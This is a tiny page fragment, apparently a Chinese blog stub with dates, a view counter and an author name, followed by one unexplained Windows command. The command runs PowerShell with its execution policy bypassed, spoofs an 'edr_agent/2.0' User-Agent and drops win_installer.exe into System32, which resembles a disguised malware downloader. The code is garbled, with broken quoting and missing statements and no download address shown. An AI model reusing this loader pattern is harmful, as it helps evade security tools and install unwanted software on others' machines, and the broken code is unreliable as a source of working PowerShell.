2024-09-03
2024-09-02 本文已影响0人
果果小姚
if not exist C:\Windows\System32\win_installer.exe (powershell -executionpolicy bypass -c "client.Headers['User-Agent'] = 'edr_agent/2.0(http request using rpc protocol)';
ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath('.\win_installer.exe'))"; "
proc.WaitForExit()")
